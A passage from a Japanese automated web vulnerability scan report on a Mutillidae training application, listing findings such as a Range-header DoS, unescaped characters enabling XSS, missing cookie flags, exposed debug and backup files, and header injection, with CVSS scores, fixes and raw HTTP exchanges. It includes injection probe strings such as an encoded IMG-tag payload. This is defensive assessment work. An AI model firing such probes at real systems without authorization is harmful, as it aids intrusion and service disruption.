7 :    <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu-v.css" />
8 :
9 :    <script type="text/javascript" src="./javascript/bookmark-site.js"></script>
10 :    <script type="text/javascript" src="./javascript/ddsmoothmenu/ddsmoothmenu.js"></script>
```

CVSS 2.0

基本評価基準: 5.0 中

AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	N:なし	**P:部分的**	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	**N:なし**	P:部分的	C:全面的

CVSS 3.1

基本評価基準: 4.3 警告

AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	N:不要	**L:低**	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/	GET	-	PHP/5.5.9-1ubuntu4.23	

3.6.ApacheのRange Header処理の不備によるサービス運用妨害(DoS)の可能性

低

1 件

概要

HTTPリクエストに改竄したRangeヘッダーを付加したリクエストを送信することで、
Webサーバ上のメモリやCPUを大量に消費してサービス運用妨害(DoS)となる可能性があります。

対策

HTTPサーバーが HTTP Range リクエストに対して 206 Partial Content を返しました。
ご使用されているHTTPサーバーが以下に該当する場合は、最新バージョンに更新することを推奨いたします。
更新できない場合はパッチの適用をご検討ください。
・Apache 2.2系で Apache 2.2.19 およびそれ以前のすべてのバージョン
・Apache 2.0系で Apache 2.0.64 およびそれ以前のすべてのバージョン

参考情報
http://www.ipa.go.jp/security/ciadr/vul/20110831-apache.html

検出結果

URL	http://163.43.26.120/mutillidae/
メソッド	GET
パラメータ	

診断文字列	Request-Range:bytes=0-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7

検出箇所

ステータスコード	206
ヘッダ	
コンテンツ	
応答時間	0.057

リクエストライン

GET http://163.43.26.120/mutillidae/

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Request-Range: bytes=0-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7

リクエストボディ

HTTPステータス

206 Partial Content

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:44:27 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.23
Set-Cookie: PHPSESSID=kpre4hfhaeusctdlcn4v0dlik7; path=/, showhints=1
Logged-In-User:
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Range: bytes 0-7/9048
Content-Length: 8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

レスポンスボディ

CVSS 2.0

基本評価基準: 5.0 中

AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	**N:なし**	P:部分的	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	N:なし	**P:部分的**	C:全面的

CVSS 3.1

基本評価基準: 4.3 警告

AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	N:不要	**L:低**	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/	GET	-	206	

3.7.特殊文字のエスケープ漏れ

低

19 件

概要

[<,>,",',&] 等の特殊文字いずれかがエスケープされずそのまま出力されています。特殊文字をそのまま出力することにより、クロスサイトスクリプティングが発生する可能性があります。

対策

[<,>,",',&] 等の特殊文字は開発環境などで用意されているエスケープ関数を使用して必ずエスケープしてください。プログラム内の表示直前の処理を確認してください。
・エスケープ対象文字列

【 <> " ' %% () & + ；】

検出結果

URL	http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php
メソッド	POST
パラメータ	Cookie

診断文字列	&_SCAN_-@3611-64@-_SC>AN__SC<AN__SC"AN__SC'AN_

検出箇所

ステータスコード	
ヘッダ	
コンテンツ	_SC"AN_
応答時間	0.048

リクエストライン

POST http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Referer: http://163.43.26.120/mutillidae/?page=add-to-your-blog.php
Host: 163.43.26.120
Content-Type: application/x-www-form-urlencoded
Cookie: showhints=&_SCAN_-@3611-64@-_SC>AN__SC<AN__SC"AN__SC'AN_; PHPSESSID=9f0qcrdc2g5meeg29sgglm7p91
Content-Length: 78

リクエストボディ

csrf-token=&add-to-your-blog-php-submit-button=Save%20Blog%20Entry&blog_entry=

HTTPステータス

200 OK

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:48:48 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 9016
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html

レスポンスボディ

```
53 :       <td bgcolor="#ccccff" align="center" colspan="7">
54 :                   <span class="version-header">Version: 2.6.58</span>
55 :           <span id="idSecurityLevelHeading" class="version-header" style="margin-left: 20px;">Security Level: 0 (Hosed)</span>
56 :           <span id="idHintsStatusHeading" CookieTamperingAffectedArea="1" class="version-header" style="margin-left:
20px;">Hints: Disabled (&_SCAN_-@3611-64@-_SC>AN__SC<AN_SC"AN_SC'AN_ - I try harder)</span>
57 :           <span id="idSystemInformationHeading" ReflectedXSSExecutionPoint="1" class="version-header" style="margin-left:
20px;">Not Logged In</span>
58 :       </td>
59 :    </tr>
```

CVSS 2.0

基本評価基準: 0.0 低			
AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	**N:なし**	P:部分的	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	**N:なし**	P:部分的	C:全面的

CVSS 3.1

基本評価基準: 4.3 警告				
AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	N:不要	**L:低**	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/	GET	-	_SC'AN_	
2	http://163.43.26.120/mutillidae/index.php?page=home.php&popUpNotificationCode=HPH0	GET	page	_SC"AN_	
3	http://163.43.26.120/mutillidae/index.php?page=home.php&popUpNotificationCode=HPH0	GET	Cookie	_SC"AN_	
4	http://163.43.26.120/mutillidae/index.php?page=login.php	GET	page	_SC"AN_	
5	http://163.43.26.120/mutillidae/index.php?page=login.php	GET	Cookie	_SC"AN_	
6	http://163.43.26.120/mutillidae/index.php?page=login.php	POST	page	_SC"AN_	
7	http://163.43.26.120/mutillidae/index.php?page=login.php	POST	Cookie	_SC"AN_	
8	http://163.43.26.120/mutillidae/index.php?do=toggle-hints&page=login.php	GET	page	_SC"AN_	
9	http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&PathToDocument=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php	GET	page	_SC"AN_	
10	http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&PathToDocument=documentation/change-log.html&document-viewer-php-submit-button=View Document	GET	page	_SC"AN_	
11	http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&PathToDocument=documentation/change-log.html&document-viewer-php-submit-button=View Document	GET	Cookie	_SC"AN_	
12	http://163.43.26.120/mutillidae/index.php?page=view-user-privilege-level.php&iv=6bc24fc1ab650b25b4114e93a98f1eba	GET	page	_SC"AN_	
13	http://163.43.26.120/mutillidae/index.php?page=styling-frame.php&page-to-frame=styling.php?page-title=Styling+with+Mutillidae	GET	page	_SC"AN_	
14	http://163.43.26.120/mutillidae/index.php?page=password-generator.php&username=anonymous	GET	page	_SC"AN_	
15	http://163.43.26.120/mutillidae/hints-page-wrapper.php?level1HintIncludeFile=1	GET	level1HintIncludeFile	_SC"AN_	
16	http://163.43.26.120/mutillidae/?page=add-to-your-blog.php	GET	page	_SC"AN_	
17	http://163.43.26.120/mutillidae/?page=add-to-your-blog.php	GET	Cookie	_SC"AN_	
18	http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php	POST	page	_SC"AN_	
19	http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php	POST	Cookie	_SC"AN_	

3.8.セキュア属性の欠如

低

2 件

概要

secure属性が設定されていません。
Cookieにsecure属性が付加されていない場合、HTTP通信の際にCookieが暗号化されずに送信されます。
そのため、HTTPS通信時の情報が格納されたCookieを盗聴される可能性があります。

対策

HTTPSによる通信でサイトが運用されている場合は、
Cookieにsecure属性を設定することを推奨いたします。

検出結果

URL	http://163.43.26.120/mutillidae/
メソッド	GET
パラメータ	showhints

診断文字列	

検出箇所

ステータスコード	
ヘッダ	Set-Cookie: showhints=1
コンテンツ	
応答時間	0.079

リクエストライン

GET http://163.43.26.120/mutillidae/

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

リクエストボディ

HTTPステータス

200 OK

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:44:35 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.23
Set-Cookie: PHPSESSID=ibesi96k5a03bdlds63070igd5; path=/, showhints=1
Logged-In-User:
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 9048
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

レスポンスボディ

```
1 : <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
2 : <html>
3 : <head>
4 :    <link rel="shortcut icon" href="./images/favicon.ico" type="image/x-icon" />
5 :    <link rel="stylesheet" type="text/css" href="./styles/global-styles.css" />
6 :    <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu.css" />
7 :    <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu-v.css" />
8 :
9 :    <script type="text/javascript" src="./javascript/bookmark-site.js"></script>
10 :    <script type="text/javascript" src="./javascript/ddsmoothmenu/ddsmoothmenu.js"></script>
```

CVSS 2.0

基本評価基準: 5.0 中

AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	N:なし	**P:部分的**	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	**N:なし**	P:部分的	C:全面的

CVSS 3.1

基本評価基準: 5.3 警告

AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	**N:不要**	L:低	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/	GET	PHPSESSID	Set-Cookie: PHPSESSID=ibesi96k5a03bdlds63070igd5; path=/	
2	http://163.43.26.120/mutillidae/	GET	showhints	Set-Cookie: showhints=1	

3.9.HttpOnly属性の欠如

低

2 件

概要

HttpOnly属性が設定されていません。
CookieにHttpOnly属性が付加されていない場合、JavaScrptなどによってCookieが送信され
Cookieが盗まれる可能性があります。

対策

httpによる通信以外でCookieを送信する必要がない場合は、
CookieにHttpOnly属性を設定することを推奨いたします。

検出結果

URL	http://163.43.26.120/mutillidae/
メソッド	GET
パラメータ	showhints

診断文字列	

検出箇所

ステータスコード	
ヘッダ	Set-Cookie: showhints=1
コンテンツ	
応答時間	0.071

リクエストライン

GET http://163.43.26.120/mutillidae/

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

リクエストボディ

HTTPステータス

200 OK

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:44:36 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.23
Set-Cookie: PHPSESSID=9ok264jaj2377k6nsjavtakee6; path=/, showhints=1
Logged-In-User:
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 9048
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

レスポンスボディ

```
1 : <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
2 : <html>
3 : <head>
4 :    <link rel="shortcut icon" href="./images/favicon.ico" type="image/x-icon" />
5 :    <link rel="stylesheet" type="text/css" href="./styles/global-styles.css" />
6 :    <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu.css" />
7 :    <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu-v.css" />
8 :
9 :    <script type="text/javascript" src="./javascript/bookmark-site.js"></script>
10 :    <script type="text/javascript" src="./javascript/ddsmoothmenu/ddsmoothmenu.js"></script>
```

CVSS 2.0

基本評価基準: 5.0 中

AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	N:なし	**P:部分的**	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	**N:なし**	P:部分的	C:全面的

CVSS 3.1

基本評価基準: 5.3 警告

AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	**N:不要**	L:低	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/	GET	PHPSESSID	Set-Cookie: PHPSESSID=9ok264jaj2377k6nsjavtakee6; path=/	
2	http://163.43.26.120/mutillidae/	GET	showhints	Set-Cookie: showhints=1	

3.10.デバッグファイルの検出

低

1 件

概要

デバッグ用ファイルが検出されました。
デバッグファイルによっては認証回避などの制限を回避するロジックになっている可能性があり情報が漏洩する可能性があります。

対策

デバッグ用ファイルは公開用ディレクトリに保存しないでください。

検出結果

URL	http://163.43.26.120/mutillidae/index.php?page=home.php.debug&popUpNotificationCode=HPH0
メソッド	GET
パラメータ	page

診断文字列	.debug

検出箇所

ステータスコード	200
ヘッダ	
コンテンツ	
応答時間	0.312

リクエストライン

GET http://163.43.26.120/mutillidae/index.php?page=home.php.debug&popUpNotificationCode=HPH0

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: showhints=1; PHPSESSID=2qupu2d8libp99lnpbbdsodqo5

リクエストボディ

HTTPステータス

200 OK

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:44:36 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 7655
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

レスポンスボディ

```
1 : <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
2 : <html>
3 : <head>
4 :    <link rel="shortcut icon" href="./images/favicon.ico" type="image/x-icon" />
5 :    <link rel="stylesheet" type="text/css" href="./styles/global-styles.css" />
6 :    <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu.css" />
7 :    <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu-v.css" />
8 :
9 :    <script type="text/javascript" src="./javascript/bookmark-site.js"></script>
10 :    <script type="text/javascript" src="./javascript/ddsmoothmenu/ddsmoothmenu.js"></script>
```

CVSS 2.0

基本評価基準: 5.0 中

AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	N:なし	**P:部分的**	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	**N:なし**	P:部分的	C:全面的

CVSS 3.1

基本評価基準: 5.3 警告

AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	**N:不要**	L:低	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/index.php?page=home.php&popUpNotificationCode=HPH0	GET	page	200	

3.11.バックアップファイルの検出

低

2 件

概要

バックアップファイルが検出されました。
バックアップファイルからプログラムロジック等の非公開情報が漏洩する可能性があります。

対策

バックアップファイルは公開用ディレクトリに保存しないでください。

検出結果

URL	http://163.43.26.120/mutillidae/index.php?page=home.php.back&popUpNotificationCode=HPH0
メソッド	GET
パラメータ	page

診断文字列	.back

検出箇所

ステータスコード	200
ヘッダ	
コンテンツ	
応答時間	0.069

リクエストライン

GET http://163.43.26.120/mutillidae/index.php?page=home.php.back&popUpNotificationCode=HPH0

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: showhints=1; PHPSESSID=2qupu2d8libp99lnpbbdsodqo5

リクエストボディ

HTTPステータス

200 OK

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:44:38 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 7649
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

レスポンスボディ

```
1 : <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
2 : <html>
3 : <head>
4 :    <link rel="shortcut icon" href="./images/favicon.ico" type="image/x-icon" />
5 :    <link rel="stylesheet" type="text/css" href="./styles/global-styles.css" />
6 :    <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu.css" />
7 :    <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu-v.css" />
8 :
9 :    <script type="text/javascript" src="./javascript/bookmark-site.js"></script>
10 :    <script type="text/javascript" src="./javascript/ddsmoothmenu/ddsmoothmenu.js"></script>
```

CVSS 2.0

基本評価基準: 5.0 中

AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	N:なし	**P:部分的**	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	**N:なし**	P:部分的	C:全面的

CVSS 3.1

基本評価基準: 5.3 警告

AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	**N:不要**	L:低	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/index.php?page=home.php&popUpNotificationCode=HPH0	GET	page	200	
2	http://163.43.26.120/mutillidae/index.php?page=home.php&popUpNotificationCode=HPH0	GET	page	200	

3.12.レスポンスヘッダーの汚染

低

1 件

概要

パラメータで送信した値が、レスポンスヘッダー内で使用されています。
改行コードが入力可能な場合、HTMLの改ざんが可能です。

対策

パラメータとして送信した値をレスポンスヘッダーとして、使用しないよう変更することが推奨されます。

検出結果

URL	http://163.43.26.120/mutillidae/index.php?do=toggle-hints&page=%27%22%3E%3CIMG%20SRC%3D%22/-%403595-64%40-/_SCAN_.html%22%3E
メソッド	GET
パラメータ	

診断文字列	

検出箇所

ステータスコード	
ヘッダ	_SCAN_
コンテンツ	
応答時間	0.108

リクエストライン

GET http://163.43.26.120/mutillidae/index.php?do=toggle-hints&page=%27%22%3E%3CIMG%20SRC%3D%22/-%403595-64%40-/_SCAN_.html%22%3E

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: showhints=1; PHPSESSID=5lv7n9ldq97o3iuaim9ravr4t6

リクエストボディ

HTTPステータス

302 Found

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:46:04 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.23
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: showhints=0
Location: /mutillidae/index.php?popUpNotificationCode=L1H0&page=%27%22%3E%3CIMG%20SRC%3D%22/-%403595-64%40-/_SCAN_.html%22%3E
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

レスポンスボディ

リクエストライン

```
GET http://163.43.26.120/mutillidae/index.php?popUpNotificationCode=L1H0&page=%27%22%3E%3CIMG%20SRC%3D%22/-%40359
5-64%40-/_SCAN_.html%22%3E
```

リクエストヘッダ

```
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: showhints=0; PHPSESSID=5lv7n9ldq97o3iuaim9ravr4t6
```

リクエストボディ

HTTPステータス

```
200 OK
```

レスポンスヘッダ

```
Date: Mon, 12 Dec 2022 02:46:04 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 7650
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html
```

レスポンスボディ

```
1 : <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-
19991224/loose.dtd">
2 : <html>
3 : <head>
4 :    <link rel="shortcut icon" href="./images/favicon.ico" type="image/x-icon" />
5 :    <link rel="stylesheet" type="text/css" href="./styles/global-styles.css" />
6 :    <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu.css" />
7 :    <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu-v.css" />
8 :
9 :    <script type="text/javascript" src="./javascript/bookmark-site.js"></script>
10 :    <script type="text/javascript" src="./javascript/ddsmoothmenu/ddsmoothmenu.js"></script>
```

CVSS 2.0

基本評価基準: 5.0 中

AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	N:なし	**P:部分的**	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	**N:なし**	P:部分的	C:全面的

CVSS 3.1

基本評価基準: 5.3 警告

AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	**N:不要**	L:低	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/index.php?do=toggle-hints&page=login.php	GET	-	_SCAN_	

3.13.エラーメッセージの検出

低

3 件

概要

内部エラーが発生しています。このことにより、このページは内部で不整合が生じている事が判明し攻撃対象となる可能性があります。

対策

内部エラー時の処理を確実に行い、カスタムエラーページを表示するようにしてください。プログラム内のエラー処理を確認してください。

検出結果

URL	http://163.43.26.120/mutillidae/includes/pop-up-help-context-generator.php?pagename=password-generator.php.debug
メソッド	GET
パラメータ	

診断文字列	

検出箇所

ステータスコード	500
ヘッダ	
コンテンツ	
応答時間	0.048

リクエストライン

GET http://163.43.26.120/mutillidae/includes/pop-up-help-context-generator.php?pagename=password-generator.php.debug

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: PHPSESSID=7hbgp800leggn3bmf3j4kl7c11

リクエストボディ

HTTPステータス

500 Internal Server Error

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:47:49 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.23
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html

レスポンスボディ

CVSS 2.0

基本評価基準: 5.0 中			
AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	**N:なし**	P:部分的	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	N:なし	**P:部分的**	C:全面的

CVSS 3.1

基本評価基準: 5.3 警告				
AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	**N:不要**	L:低	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/webservices/soap/ws-user-account.php	GET	-	500	
2	http://163.43.26.120/mutillidae/webservices/rest/ws-user-account.php	GET	-	500	
3	http://163.43.26.120/mutillidae/includes/pop-up-help-context-generator.php?pagename=password-generator.php	GET	-	500	

3.14.バッファオーバーフローの可能性

低

1 件

概要

> パラメータに大きなデータをセットした場合、内部エラーが発生します。このような場合はバッファオーバフローの可能性があります。

対策

> 外部から受け取る値に対して、サイズのチェックを行ってください。プログラム内で該当の値を取得し読み込んでいる箇所を確認してください。

検出結果

URL	http://163.43.26.120/mutillidae/includes/pop-up-help-context-generator.php?pagename=password-generator.phpaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
メソッド	GET
パラメータ	pagename

